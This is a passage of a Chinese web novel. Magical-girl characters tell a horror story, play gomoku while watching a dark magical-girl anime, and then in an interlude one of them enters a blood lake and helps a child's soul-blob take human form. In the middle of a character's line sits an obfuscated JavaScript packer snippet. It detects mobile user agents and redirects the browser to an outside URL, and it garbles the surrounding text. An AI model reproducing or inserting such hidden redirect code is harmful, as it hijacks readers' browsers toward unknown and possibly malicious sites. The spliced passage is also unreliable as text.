屋子里面很暗,我就站在门口问,没有应答,只能隐约看见有什么在动。于是我凑近了一些看,却发现那人还是没有脱下毛衣,刚才发出的声音是石盆碰倒门口木头的声音。 我刚想走,就看见那人伸出手,把头取了下来。与其说是头不如说是脸,因为那只是一张皮,没了那张皮之后,本来是毛领子的部分顶了起来,嘴里咬着一截舌头,我才认出那是一头熊,而不是一个人。 可能是我在山里待得太久了,所以才没认出来,但那头熊看着我的时候我却也是没办法使用魔法的,就一直没有去怀疑那人为什么说话的时候含糊不清,吃东西不会留下残渣,还总是自己一个人躲起来吃饭,看着我的时候表情只有微笑,什么的。 总之这就是我的恐怖故事了,这样想起来当时我也真是和瞎了没区别,哈哈。”犬山晓不好意思地干笑了两声,熄灭了蜡烛。 屋子里一片黑暗,没有人说话,就像是光的离开也带走了声音传播的权限一样。 有人咽口水的声音传来,但还是没有人说话。 “我,我说的故事这么无聊吗?”犬山晓仓促又疑惑的声音打破了黑暗。 “总算有人说话了!”森山寺未央终于喘过气来了,“这居然是亲身经历的故事吗?这种和民间传说一样的事情居然真实发生过?真的假的啊拜托这太恐怖了。” “真的吗?后来呢?后来你们怎么样了?”森山寺未雅追问道。 “后来?”犬山晓愣了下,说道,“后来那头熊大概是想吃我,就死掉了。” “这种前因后果也算是一种恐怖故事了。”森山寺未雅说。 “为什么,被那头熊看着却也没办法使用魔法呢?”艾克里普发出犹豫的声音。 “这个我就不清楚了,当时我也不清楚为什么。”犬山晓的声音带着不好意思,“现在想起来,那里根本就不是人类能抵达的地方,哪怕是被水流冲过来的也不可能。” “令人毛骨悚然呢。”有乐羽生说,“不过每年都有大量登野山的失踪人口,这方面不可以低估人类哦?” “这也确实…”艾克里普说。 “接下来呢?”犬山晓想结束这个话题了,“这个游戏算是结束了吗?” “接下来应该是发生新的恐怖故事的时间了,比如说多出来一根蜡烛亮起来,开始说什么‘五个人一起讲鬼故事最后集体失踪了’什么的鬼故事。”森山寺未雅说着站了起来,“不过对我们来说这就算结束了吧。” 灯光亮起,犬山晓双手怀胸靠着椅背坐着,艾克里普撑着脑袋不知道在想什么,森山寺未央蹲在地上,有乐羽生抱着腿蹲在椅子上。 “看来还是挺有意思的。”森山寺未雅满意地说。 “哈哈,确实呢。”有乐羽生迅速恢复了坐姿。 “哎呀,东西掉了。”森山寺未央坐了回来。 “熊为什么会诞生独立思考的能力呢?”艾克里普还在纠结这个问题。 “果然没人会因为这个故事被吓到吗?”犬山晓挠了挠脸,“我们接下来干什么?” “接下来是下棋时间!”森山寺未央摸出了黑白棋和棋盘,“来下五子棋吧。” “有其它更派对化的选择的吧?”森山寺未雅质疑道。 “考虑到规则普及程度和去除运气影响,五子棋就是最合适的!”森山寺未央非常坚持,“大家一对一吧,输了的人就下台。” “五子棋吗?我知道规则但是从来没有下过呢!”犬山晓感兴趣地说。 “感觉好久没玩了呢。”有乐羽生摸着木刻棋盘,怀念地说道。 “我也好久没下棋了。”艾克里普点了点头,没有再纠结之前的事,“那么谁先来呢?” “抽签吧。”森山寺未央说着又摸出一个抽签桶,“也给没事干的准备了动画片哦。” “果然要看魔法少女吧。”森山寺未雅从床头柜里摸出了遥控器,启动电视,并且开始搜索魔法少女动画,并点击播放。 充满青春气息的主题曲开始播放,几人看着电视开始抽签。第一个抽中的是艾克里普,随后是有乐羽生。森山寺姐妹和犬山晓将桌子让给二人,开始看动画片。 “这一部动画我小时候还看过,没想到现在真的就成为魔法少女了呢。”森山寺未央说。 “现在看来,这个吉祥物怎么看怎么可疑啊。不过当年我确实认真考虑过要许什么愿望,但到后面大家就不会这样想了吧。”森山寺未雅说。 “为什么?能成为魔法少女,还能实现一个愿望,和我们现在差不多吧。”犬山晓问。 “这个涉及剧透哦。”森山寺未央说。 “这完全是在劝诱吧,合同都没有准备好呢。”有乐羽生听着声音说道,“不过即使是这样,也会有一堆人前赴后继地扑上去吧,哪怕是成年人。” “确实,不如说成年人可能更多吧,尤其是现在。”艾克里普点了点头。 “原来魔法少女有这么受欢迎啊。”犬山晓有些不好意思了起来。 “哼哼。”森山寺未央神秘地笑了。 “你在哼什么?成为魔法少女有让你受欢迎一点吗?”森山寺未雅问。 “从,从结果上来说不是就是这样吗?”森山寺未央不服气地说。 “这些人都没有因为成为了魔法少女就受欢迎一些吧。”犬山晓看着电视,“毕竟大家都在看不见的地方战斗,这动画还挺写实的。” “也有成为了魔法少女之后大受欢迎的主角啦!”森山寺未央说,“说起来那俩人是不是下了太久了一点,这都开始播第三集了。” 森山寺未央抬头一看,黑白棋盘已经几乎被摆满了。 “…我还没见过这个棋盘在下五子棋时被摆满的样子。”森山寺未央不可置信地看着棋盘。 “我们已经撤掉一盘了哦。”有乐羽生说,“没想到五子棋也能下成这样呢。” “羽生落棋很快呢。”艾克里普看着棋盘思索着,下了一枚黑子,有乐羽生看了没过五秒就跟了一枚白子。 “那里那里!”森山寺未央试图进行指导。 “这样很没品哦。”森山寺未雅走过来看,“应该下那里!” “那就下这里吧。”艾克里普折中了一下,有乐羽生迅速跟了一枚。 “结束啦!”两回合后,有乐羽生赢了。 “…这怎么可能?”森山寺未雅大惊,“接下来我来,未央你去看电视不准过来。” “这倒是怪在我头上了?”森山寺未央不满地离开了。 “这个角色,一直独自战斗着呢。”艾克里普看着电视感慨道,“果然还是会想有个交流的对象的吧,一个人的话很孤独呢。” “但是她一个人就生活的很好,即使爸爸妈妈不在了也能一个人好好地生活。”犬山晓说。 “她一定一直很愧疚吧,车祸一家三口却只有自己活下来了什么的,有了同伴之后就能逐渐走出来了。”有乐羽生叹了口气。 森山寺未雅盯着棋盘,一分钟过去了还没落子,有乐羽生就趁机看动画片。 “就是这里!”森山寺未雅终于得到了一个结果,有乐羽生迅速跟上。 “哦哦!这个桥段,现在看还是觉得很帅气啊,从半空中冒出这么多枪管哪怕是简陋的作画也能感受到压迫感。”森山寺未央激动地说。 “为什么枪都是只用了一次就丢掉了呢?而且这个枪,太华丽了反而比较消耗魔力吧。”犬山晓说道,“既然选择以枪炮作为主要攻击手段,那现代化一些的选择更好吧。” “或许只是形式化的表现吧,子弹实际上是储备好的魔法道具,猎枪是发射器什么的?”艾克里普尝试进行分析。 “只是这样画的话帅气一点啦。”森山寺未央说。 “哦哦,这种攻击形式,好帅气啊!”有乐羽生激动地说,“魔法少女果然应该这样吧!” “把大招喊出来吗?”森山寺未央想了想那个画面,“会很有气势吧,不过名字不够帅气的话就会有点尴尬了。 ” “这样啊。”有乐羽生陷入了思考。 “好!我下完了。”森山寺未雅擦了擦额头。 “好哦!”有乐羽生回过神来看了看,下了一子。 “…怎么这么快?这可是我精心挑选的位置。”森山寺未雅不可置信地说。 “我也是精心挑选的!”有乐羽生回答道。 “哦哦,那个要来了!”森山寺未央激动地说。 “这场战斗会不会太顺利了?按照魔女的设定来说,能拥有这样的结界的魔女不可能这么弱小吧。”犬山晓感觉进展不太对,“而且战斗太形式化了,魔力消耗太多了吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808002|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 动画中,作为魔法少女的前辈因为小瞧了对手的能力而战死了。 “…这太令人难过了,她明明才刚刚有了对未来的期望。”艾克里普吸了下鼻子,“为什么要这样安排情节呢?她明明都这么努力了。” “诶。”犬山晓只是叹了口气。 “这下你就没办了吧!”森山寺未雅落下了她很得意的一子。 “那两个跟着她进结界的普通人,一定很害怕。”有乐羽生迅速下了一子之后继续看电视,“幸好还有人能保护她们,但后面的故事一定就没那么轻松了。” “…接招吧 !这就是我最后的战术了!”森山寺未雅站了起来。 “最后了吗?”有乐羽生看了看,下了一子。 三回合之后,森山寺未雅遗憾离场,森山寺未央站起,二人擦肩而过。 “你一定要小心,她比你想象中的还要恐怖。”森山寺未雅沙哑着嗓子说。 “啊,我明白的。”森山寺未央大步走向棋盘,和有乐羽生,“我来结束这一切吧。” “那孩子即使见证了残酷的战斗还是许下了愿望呢,真是勇敢。”有乐羽生赞叹道。 “是的,她明明还是个孩子,却能鼓起勇气为别人而战,真是了不起。”艾克里普说。 “她为之许愿的那个人倒是有些奇怪,是故意这样设计角色的吗。”犬山晓皱眉。 “这里。”森山寺未央下了一子。 “哦哦,不走寻常路吗?那我下这里吧。”有乐羽生落下一子。 “已经看到这里了啊。”森山寺未雅坐下看电视。 画面中,主角为了让朋友不再受伤,将变身道具扔了出去,朋友却忽然倒地,同行的人上前确认生命体征,却发现此人已经死了。 “…她一开始许愿的时候,绝对没想过自己会变成这样吧。”犬山晓说。 “这完全不是正常的,人的灵魂怎么可以被抽离□□呢?”艾克里普眉头紧紧地皱着。 “小时候看的时候都没想过这些呢,甚至那个时候我都不知道为什么其它角色因为这个而生气,现在我倒是能理解一点了。”森山寺未央说。 “未央,该你了哦。”有乐羽生提醒道,“这个故事已经和一开始的故事完全不一样了呢。” “层层递进,本质如此,不过魔法少女的世界不该是如此残酷的。”艾克里普叹了口气。 “我下这里!没想到吧!”森山寺未央站了起来。 “哦哦,好久没见过下这里的了。”有乐羽生跟了一子,三回合后,森山寺未央败北。 “…一切都,结束了。”森山寺未央瘫在椅背上。 “没有结束,轮到晓了哦。”有乐羽生收拾着棋盘。 “哦哦,到我了吗?”犬山晓站起身走来,顺便帮着一起收拾了棋盘,“这应该是我第一次和别人一起下棋,不过我看过别人下棋,对规则还算了解的。” “五子棋很简单的啦,不用担心不了解规则就下错哦。”有乐羽生安慰道。 “那我也不会强到哪里去。”犬山晓笑了,“不过羽生很擅长五子棋呢。” “因为我系统地学习过围棋,看过很多很多棋谱。”有乐羽生笑着说,“几乎所有的路数我都可以说是见过几次,以前也老是和我母亲下棋,她下棋才是真的厉害哦。” “围棋,就是五子棋的复杂版本吧。”犬山晓想了想,“那个我还真不会。” “从思路上来说差不多,五子棋结束的更快一些,所以路数都是通用的哦。”有乐羽生说。 “总之就是连成五个就算赢吧。”犬山晓看着棋盘,下了一子在正中间。 “好经典的下法,好怀念啊。”有乐羽生感慨道。 “一开始就夹在中间的话,优势比较大吧。”犬山晓不好意思地说。 “这样吗?”有乐羽生想了想,跟了一子。 “我小时候看到这里快进了呢,这里剧情是什么来着。”森山寺未央问道。 “变成魔法少女的那个人,她为之许愿的对象要和别人在一起了,那个人还是她朋友,还过来找她说要公平竞争什么的。”森山寺未雅说,“这一段是挺无聊的,不过许愿的那个人口是心非最后后悔的样子是很经典的桥段呢。” “那孩子为什么要口是心非呢?”艾克里普有些疑惑,“都成为魔法少女了,为什么还要考虑那些事情呢?而且她还知道自己面对着危险,这种情况下有喜欢的就要尽快去争取呀。” “哦哦是这里啊。”森山寺未央说,“现在看起来就能感同身受了呢。” “咦?”艾克里普意外地问,“为什么呢?” “想让自己看上去是个纯粹的守护骑士,什么的。”森山寺未央声音小了些。 “那孩子还远不到白骑士综合症的程度,结局也是被安排如此的。”森山寺未雅叹了口气。 “那孩子的着装也是骑士风格的呢。”犬山晓说。 “魔法少女着装也会体现那些吧,武器也是。”有乐羽生看着棋盘思考着。 “啊,到我了。”犬山晓回过头看棋盘,思索了一番,“这里的话,果然是这样比较好。” “晓的下棋方式好淳朴啊。”有乐羽生感慨道。 “诶?我有在思考哦!”犬山晓紧张地说。 “思考的方式也很淳朴,不过这样反而需要我想想看呢。”有乐羽生思索着。 画面中,受了太多打击的魔法少女开始诅咒自己,最终在朋友的注视下变成了怪物,也就是魔法少女的敌人。 “这完全就是诈骗!在抹黑魔法!”艾克里普非常不满,“这个小动物完全就是冷酷无情的机器,在欺骗那些孩子!魔法少女怎么可能会变成魔物呢?” “无论看多少次,这个画面都令人难过呢。”森山寺未雅说。 “无论看多少次这个画面都很震撼!”森山寺未央说。 “…敌我同源,这个动画是好久以前的了吧,概念在当时应该很新颖了。”有乐羽生感慨道,“这部动画的哲学氛围很浓厚呢,感情也很到位。” “我们最终不会变成这样吧?”犬山晓愣愣地说,“不会吧,我们的魔力体系都不一样。” “绝对不会的!哪怕出现这种事情,我也会让大家变回去,无论如何。”艾克里普说。 “真是令人安心呢。”有乐羽生笑了。 “这里的话,下这里吧。”犬山晓说着落下一子。 “这里呀。”有乐羽生看着棋盘,因为对局的一方技术不精而下得不算精彩,却反而令她陷入了思考。 “哦哦,羽生居然在思考,我来看看。”森山寺未央凑到棋盘旁边,“感觉这个棋谱小时候抱过我。” “是你小时候下过吧?”森山寺未雅也凑过来看,艾克里普还在看动画。 “观棋不语哦。”犬山晓提醒道。 “这种应该是高手去提醒的吧!”森山寺未央说道。 “这个是通用道理吧?”犬山晓笑了。 “正是如此。”森山寺未雅点头。 “这里!”有乐羽生落下一子,并非是对棋谱的回应,而是自己的思考。 三局过后,有乐羽生胜出。 “输啦!”犬山晓没有失落,帮忙收拾起了桌面。 “恐怖如斯!”森山寺未央给出评价。 “嘿嘿。”有乐羽生并不不好意思地笑了。 “我们接下来干什么?”犬山晓迫不及待地问道。 “还有好多游戏呢!”森山寺未雅翻着筐子说道,“要玩个恐怖游戏吗?” “为什么,这部动画要这样描述魔法少女的命运呢?”艾克里普疑惑地说,“明明只是靠着想象力,却敢做出如此黑暗的假设,编剧不会觉得惭愧吗?” “因为世间的大多数人都认为魔法少女不存在,也就不会跳出来说‘这些根本就是胡扯’什么的哦。”森山寺未央说,“不如我们就这么做吧?用激光炮对着制作人的脑袋威胁一下。以后有别的编剧准备写这类故事的话至少会加一句如有雷同纯属巧合什么的。” “这部作品比起纪实更像是带着寓言的童话故事,不仅仅是哲学意味,宗教气息也十分浓重呢。”森山寺未雅看着电视说,“而且画面也很精细,在当年可是大受欢迎。” “因为是虚构的,所以不需要承担后果吗?”艾克里普若有所思。 “这样看大家如何虚构关于我们的故事,还挺有意思的啦。”有乐羽生笑了,“以前我都没想过看看这些,以后多看看好了!” “我们的日常不就是魔法少女的日常吗?这还要看动画?”犬山晓问道,“不过高中生偶尔看看动画片也不错就是啦。” “没错!”艾克里普回过神来说,“我们就是魔法少女,现实以我们为准哦,不存在骗人的吉祥物和黑暗的真相什么的,魔法就是魔法呀。” 夜晚还很漫长,没有人想睡觉,所以没有人睡觉。 70.间奏-森山寺未雅,森山寺未央与血团 上 空闲时间里,克拉拉有时会喊森山寺未雅去她实验室,测试新仪器和药物的效果。 “来,把这个吃了,冰箱里有水。”克拉拉递给森山寺未雅一个小玻璃瓶,里面有三种不同的药丸。 这实在是可疑,但克拉拉的表现又太过理所当然,森山寺未雅一时不知该作何感想,于是她先拉开了实验室墙角的冰箱,门一开,冷气和玻璃瓶碰撞的声音一起袭来,无论怎么看这里面存在的液体都只有对未成年人有害的,无论是化学试剂还是酒。 “水是要我自己蒸馏出来吗?”森山寺未雅抬头问。 “冰箱门最上面,放鸡蛋的那个格子,有小瓶装的水。”克拉拉头也不回地说。 “虽然事到如今我问了也没用,但是,请问这个药我吃了以后活着的可能性有多高?”森山寺未雅拿了瓶水问道。 “前面几次实验仪器的死亡率更高,安心,这个药是你们之前从神脉医院带回来的那个瓶子里面的粉末的重构版本,加上缓冲剂和释缓药物,以及负压室和声波隔绝,这次一定成!”克拉拉信心十足地比了个大拇指。 “…安心是指让心脏停止跳动吗?”森山寺未雅说着,把轮椅踢着转了方向自己坐进去,把药吃了,“这个轮椅也是你的产品吗?” “机器人不是我的研发方向,这台是我买机械手的时候顺手买的。”克拉拉说,“说起来这还是Evo公司科技部门的产物来着,是内部专用的,不外售,不过可能是我是不错的合作对象吧就也卖给我了。不过我为了使用和复现把结构什么的重构了一下。” “你顺手的力气还挺大。”森山寺未雅说着,熟悉的眩晕感袭来,“希望这次能看见点东西吧。” “根据你的理论,这也取决于那个世界的进度如何哦。”克拉拉说着,轮椅带着森山寺未雅进入医疗区域。 医疗舱在这几天的改良之后也可以说是面目全非了,不过内部结构没什么变化,森山寺未雅再次触碰到了那石仗,空间错位感袭来,她意识到这次或许会有所收获。 视线一片漆黑,并不是眼前被蒙住了或者无光的夜晚那样的黑,而是更加本质上的,什么都没有的黑暗。森山寺未雅尝试眨眼发现做不到,不如说,她发现自己什么都做不到。 身体摇摇晃晃,她觉得自己好像在被谁背着往前走。 说起来,森山寺未雅想起之前的另一个自己是跳楼死亡的,以那样的状态复活的话确实很难拥有一个正常人该有的体验了呢。 不过该做的尝试还是要做的,她开始尝试唤醒身体里的感官,四肢已经完全无法感受到了,骨头也好肌肉也好大概通通消失了吧。她尝试眨眼,眼皮不存在,她尝试张嘴,舌头和嘴皮也不存在,声带似乎也不能作用了,嗅觉失灵,只剩下耳膜还能感受些什么。 确实是有谁在背着自己前进,一边走一边念叨着什么,森山寺未雅仔细去听。 “我能做到,我能做到,我能做到…”森山寺未央的声音干哑,只一味地重复着这句话。 不一会,目的地大概是终于到了,森山寺未央没有再说话,森山寺未雅感觉自己被她从背上取下了,随即是一阵失重感,以及重力倒错的漂浮感,她认为自己大概是被扔进了类似于水池一样的地方。 四周依旧是一片黑暗,水涌入鼻腔和食管的感觉也不存在。森山寺未雅听见了细碎的声音,很多不同年龄,不同性别,不同语言,甚至不同种族的存在在她身旁轻声细语。她沉下心来思索自己遇到了什么情况。 首先,这个世界的森山寺未雅肯定是死去了。按照正常的时间流速,这段时间内若是没有人给这具破碎的尸体防腐那确实是该开始腐烂了。若是森山寺未央想要复活她,首先要考虑的就是复原身体状态。 这样的魔法并不少,森山寺未雅知道犬山晓就能轻而易举地做到,所以这里先不提。另一件事就是灵魂问题了,她不理解魔法系统中灵魂的存在是如何一回事,一个人死去之后灵魂会去哪,如果复活了该从哪把灵魂找出来。 既然如此,那大概森山寺未央也是不知道的,若是说这世间有谁可能会知道,那就只能是艾克里普了,可她们现在还不认识,同时她甚至不知道这个世界二人成为魔法少女的契机是否还和原来是一致的,更是无从考证特征的类型。 但是恰巧就在于,有这么一个可能性存在于森山寺未雅的知识库里:神脉医院下方的血湖。就犬山晓带回来的消息说,曾经有个实验体自称能听到血湖里有沉睡的灵魂在说梦话,也说了回归什么的可疑动词。那是否可以假设血湖可以承载人类的灵魂?那若是将一个死人的身体复苏,再将其投入血湖之中,那死人的灵魂是否会被召回? 有这个可能性,森山寺未雅能想到,森山寺未央也能。 但在艾克里普也说过,那个血湖中已经存在了一个正在复苏的自我意识,有生人进入其中也不会再造成打扰了。虽然不知具体原因过程细节结果,但她怀疑现在森山寺未央这样做真的还来得及吗? 很快,森山寺未雅以自身实际体验来证明了:现在确实是有用的! 不知为何,原本只是在窃窃私语的血湖忽然就沸腾了起来,变得滚烫,嘈杂,拥挤,灵魂们纷纷从梦中惊醒过来,为一具还活着的尸体进入死者之中惊吓不已。 这算不算反过来的闹鬼了?森山寺未雅还有闲心这样想。 一大堆听得懂或听不懂的语言互相质问,争吵着,血湖原本无波的湖面也波涛汹涌了起来,森山寺未央想起启明星所说的2000年神脉医院的惨剧,心中一紧,她想要做些什么,但她只是在缓缓下沉,说到底她只是来自另一个时空的看客,没办法对这里的一切造成什么影响的。 难道就这样了吗?森山寺未雅想起还在附近的森山寺未央,心中焦急了起来。 灵魂们的争论终于从“怎么回事啊怎么有个活人”晋级到“咦我不是死了吗怎么还能说话”最后到“我还能动我要活!”这样的程度,不同的灵魂之间开始为了争夺血湖中的魔力而开始字面意义上的血肉搏击,森山寺未雅远远地看着,心里对当年发生的事情有了个猜测。 但有个猜测是不够的,她必须尽快阻止这一切,她焦急地思考自己还能做些什么。上一次是什么样来着?森山寺未雅疯狂回忆,上一次她能“听”和“说”,这一次呢?现在呢?她一狠心,没有去管自己下沉的身体,一股脑地让自己的意识往上游。 “你也死了啊”身旁有个不太想参战的灵魂无所谓地说。 “你才去死。”森山寺未雅骂了一句,继续往上游。 血肉搏击进入到了白热化阶段,森山寺未雅发觉自己没办法调动魔力,现在的状态也没办法做些什么,便认真观察搏击战的参与者。 参与者大多数都长得差不多,血糊糊的一团包裹着灵魂,靠大小取胜。但森山寺未雅迅速观察到了一个相比来说非常小的血团,它体型不大,但咬住了就绝不松口,而且非常灵敏。 “喂,你是不是想活下去?”森山寺未雅飘到那个血团旁边劝诱道。 “想!”那个血团回应说,是个小孩子的声音,“我想活下去,我想获得幸福的生活!” “后面那个不好说,但你听我的,我帮你。”森山寺未雅说,“作为报酬,你出去以后要让我跟着你一起出去。” 这个孩子若是能听到她的声音,或许可以作为她的传话人。 “为什么要听你的?我自己就做得到啊?”血团问道。 “…因为你需要我。”森山寺未雅继续劝诱,“电视广告节目里的导购你见过吗?你出去以后我会告诉你正常人是什么样的,怎么获得幸福生活。” “哦!”血团非常意动,“那个我知道,导购!那你要跟紧我!” 森山寺未雅点头,小心翼翼地跟在血团后面。就像它自己说的那样,即使没有森山寺未雅帮助它观察其它敌人,靠它的狠劲和决心,确实也击败了其余所有的对手,获得了血湖中所有的魔力的支配权。 “现在呢?”血团问道,“现在该怎么做?” “该出去了吧,就是,离开这里。”森山寺未雅其实也不知道。 “我就是在问你怎么出去啊!”血团听上去有点生气。 “总之上面就是地面,你往上冲,先冲到看得见地面再说!”森山寺未雅说。 那血团半信半疑,但最后还是相信了,它凝聚血色,化为了一团圆形,森山寺未雅也得以看见血湖两侧。 森山寺未央蹲坐在血湖旁的地面上,她一边施展防御魔法抵御血湖的冲击一边愣愣地看向血团,森山寺未雅看着她,觉得她变了好多。 头发断掉了很多,脸色不好,四肢上都是还没来得及愈合的伤口,都是魔法少女了怎么还能活成这样?森山寺未雅看向对方身旁的架子,上面挂着四五袋液体药物,输液管的另一头连接着森山寺未央的小臂。 “你怎么了?要往上跑了,别跟丢了啊。”血团提醒道。 “…那个人,你看到了吗?”森山寺未雅问。 “看到了,是活人诶。”血团惊讶地说,“不过我也很快就要活了!我要有幸福的生活了!” 说完,它就不管不顾地往上冲,森山寺未雅只能跟上。 无论是什么都没有阻止那血团的速度分毫,它近乎将这百余米深度的夹层打出了一条直线的洞,直到一抹光亮出现,这条线终于有了终点。 透过那一条线,空气透入其中。 脱离地面之后,那血团还往半空中冲了百余米,直到悬浮于半空之中,森山寺未雅跟在它身上往下看,下方本该是神脉医院的地区却与她听闻到的那些有些不符。 医院的规模非常小,也并不像个私人理疗医院,只是个普通医护所的样子,孤儿院倒是还在,而且规模大了不少。 “那个人,那个人也上来了诶,她怎么做到的?”血团惊讶地说,森山寺未雅低头去看,发现那正是森山寺未央。 毕竟有电梯可以坐嘛,森山寺未雅心想。 随即,森山寺未央漂浮了起来,并不是有翅膀的魔物带着她,而是她自己飞起来的。 森山寺未雅想说些什么,但什么声音都没有发出。 “你是谁?”血团开口问道,发出的却是无意义的蠕动声,它还没有长出声带。血团与森山寺未雅的交流是更直接的,毕竟森山寺未雅从某种方面来说也算是死在血团里面了。她们之间的交流更像是自我与自我之间的交流,没有说谎的余地。 “…未雅?”森山寺未央带着希望,小心翼翼地开口问,她的声音干哑,她的脸颊上留下了冷汗,眼睛一瞬不眨,嘴角似乎是想牵起一抹笑容的,但失败了。 血团动了动,没有回应。 森山寺未央顿了顿,她尝试伸出手去触碰血团。 “干什么呀!”血团的反应很大,一瞬间就弹开了,“这个人是不是想抓我啊?” 而森山寺未央看见这个反应,表情停滞,笑容消失,取而代之的是郑重的决意。 “没关系,”她喃喃自语说,“应该是还差点什么,没关系,慢慢来,慢慢来,我做得到。” 随即,她使用了自己的特征魔法,精神控制。 有看不见的声波传向血团,与魔力类似,但更私人化一些,森山寺未雅看不见这些,但那血团明显就看见了,它大惊之后是大怒,忽而化为更庞大的模样避开那些声波冲向森山寺未央。 “未雅!”森山寺未央不忍伤害血团,大声呼喊,“不记得我了吗?姐姐?!” “谁认识你啊!”血团大怒,不断地弹出尖刺试图远离对方,“我要去过我的幸福生活了,你这家伙别想抓住我!” “等等,等等等等!”森山寺未雅为语言不通操碎了心,“等等先别打她,等一下诶!” 或许是觉得导购的话确实要听,血团的动作顿了下来,“等什么呀?” 见血团动作暂停了,森山寺未央也用充满希望的目光看了过去。 “…你想想看啊,你要的幸福生活,是不是以你以前度过的人生为基准的?”森山寺未雅耐下心来循循善诱,心想这血团以前的人生哪怕不幸福也至少是个人吧。 “我以前的人生有什么好参考的?!”血团不可置信地问,“你不会是想让我过得和以前那样吧?!” 糟糕了这人之前大概是个实验体,森山寺未雅的脑子飞速运转。 “我的意思是,以以前的人生作为对比目标,对比!”森山寺未雅说。 “…对比,没错,要过得比以前幸福才对。”血团顿了下来。 “那至少得是个人样,对吧?”森山寺未雅循循善诱。 “对!像个正常人一样!”血团说。 “那你觉得你现在像个正常人吗?”森山寺未雅问。 “你这样一说,确实,好像,不太一样啊。”血团的声音沮丧了下来。 “你看那个人,”森山寺未雅指向森山寺未央,“虽然动作有点怪,但至少是个人型,还能说话,不是吗?” “确实是这样。”血团将信将疑,“但总感觉和我不太一样啊。” “人与人不一样是正常的!”森山寺未雅使用了对方用过的词,“你记得你以前是什么样的吗?外表,年龄什么的?” “…我不记得了。”血团说。 “那你要不要考虑,先模仿那个人,跟在她身边生活一段时间,学会人类的生存方法之后再进一步追逐自己的幸福生活呢?”森山寺未雅劝诱道。 “可是那个人想抓我诶?”血团怀疑道。 “我向你保证,那个人目的绝不是控制你,或者强迫你。”森山寺未雅说。 “…那是什么?”血团问。 “大概是理解吧。”森山寺未雅说。 森山寺未央看着那个血团在停顿了一会之后主动朝她飘了过来,随后,在她的注视下缓缓进行了变化。血色溶解,有其它颜色浮出水面,形状和质量变化,不一会,一个人类外表模样的存在新鲜出炉了! 那是与森山寺未央外表一模一样的存在,就连断裂的发丝和干燥的唇瓣都是一样的。 “…未雅?”森山寺未央的语气却在质疑。 “咕咕!”血团发出了奇怪的声音,她还没有学会声带的拟态,只有外表是相似的。 “我看上去怎么样?”血团不好意思地问,“我只能模仿外表诶,其它的得见过之后再学习,这样就够了吗?” “不够吧,不过其实也够了。”森山寺未雅看着面色挣扎的森山寺未央。 “…没关系,”森山寺未央叹了口气,“慢慢来,我做得到的。” 她朝与自己模样相同的血团伸出了手,那血团顿了顿,好一会才明白手该怎么用,也伸出了手,却也不知道该怎么进行下一步了。 “回去吧。”森山寺未央笑了,她牵住了那只手。 “咕咕。”血团回应。 “凉凉的。”血团评价道。 “你可是刚刚沸腾过啊。”森山寺未雅说。 二人,或者说一人一拟人回到了地面上,森山寺未雅跟着,随便参观了一下旧版本的神脉医院。按理来说现在也是与她所在的区域相同的时间,但这里的一切都显得那么破旧,甚至有些跟不上时代了。 芦苇都不允许存在的博蒙会允许自己的医院变成这样吗?森山寺未雅产生了怀疑。 “我们接下来要去哪里呀?”血团问道。 森山寺未央一直没有说话,只是一味地往前走,换下魔法少女装束之后她身上疲惫的感觉更明显了,血团也跟着换了副样子,跟在她身后。 “对啊,要去哪呢?”森山寺未雅也好奇。 “我跟着这个人真的能获得幸福的生活吗?”血团质疑说,“这个人看着不太幸福诶。” “…先学到她这个程度再说吧。”森山寺未雅叹了口气。 森山寺未央带着血团一路进了医院,她使用了隐身魔法所以没有人发现她们,随即她看着地图一路走到了有人体模型的地方,指给血团看。 “哦!她真的能理解我诶。”血团意外地说。 “她直觉是挺准的。”森山寺未雅说。 在有了参照物的情况下,血团迅速学会了人体内部该是如何一种构造,也终于拥有了声带,骨头和肌肉结构,在那之前她基本上是在飘着。 “…未雅?”森山寺未央看着血团问道。 “咳咳。”血团清了清嗓子,说出了她的第一句话,“你好!” “你还挺有礼貌的。”森山寺未雅说。 “你好。”森山寺未央说,“未雅,是你吧?” 她的声音有些颤抖。 “我的名字不是这个吧?”血团不确定地说,“我不记得了,过去的我都不记得了。” 森山寺未央愣住了,她不知道这个结果算好算坏,但至少,不是最坏的情况。 “算了,我们回去吧。”她说,脸上终于能露出真心的笑容了。 “回去?”血团激动地问,“回哪里去?回家吗?” “…没办法回家了。”森山寺未央说,“不过有地方可以去的,我有办法。” 森山寺未雅心里一紧,觉得这个办法并不会是一个多好的办法。 “回家!”但是血团很开心,她笑了,和森山寺未央一模一样的脸上,笑容却是纯然属于一个孩子的,森山寺未央看着却无法同样地开心起来。 随后,森山寺未央带着血团一路翻山越岭避开公共交通回到了原来那个城市,但实际上并没有花费多久的时间。一路上她都乘坐能高速前进的魔物从山林间穿梭,森山寺未雅这才意识到,她将那些魔物全都召唤出来并散播了出去,狩猎各处的魔物为她收集魔力。 所以才能做到复活魔法那样大型的阵法吗?森山寺未雅了然。 但即使是这样也花了几个小时的时间,森山寺未雅逐渐感受到了一种抽离感,像是梦要醒了,她意识到大概是药物效果结束了。 “你,你怎么了?”血团小心翼翼地问道,“你的存在变得好稀薄。” “…你对我的服务评价如何?”森山寺未雅问。 “很好!”血团回应。 “那我们能不能商量一下,咱们签个长期合同?”森山寺未雅问。 她或许很快就要离开了,但事情还没完,她原本的那具身体早就溶解了,下次还想进来就没有其它通道了,只能想办法让血团成为她的通道。血湖本来就可容纳多个灵魂,所以她才能这样清醒地存在于血团的身边。 “那是什么?”血团不解,“不过长期,我喜欢这样,合同是什么?” “就是,我现在得去睡觉了,普通人要睡觉的。但下次醒来后我还想这样待在你旁边可以吗?”森山寺未雅问。 “可以呀!”血团很快就接受了,“你要睡多久?” “我也不知道。”这取决于克拉拉。 “好吧。”血团对于不确定的时间有些失望,“那你得回来哦。” “我会的。”森山寺未雅郑重地说。 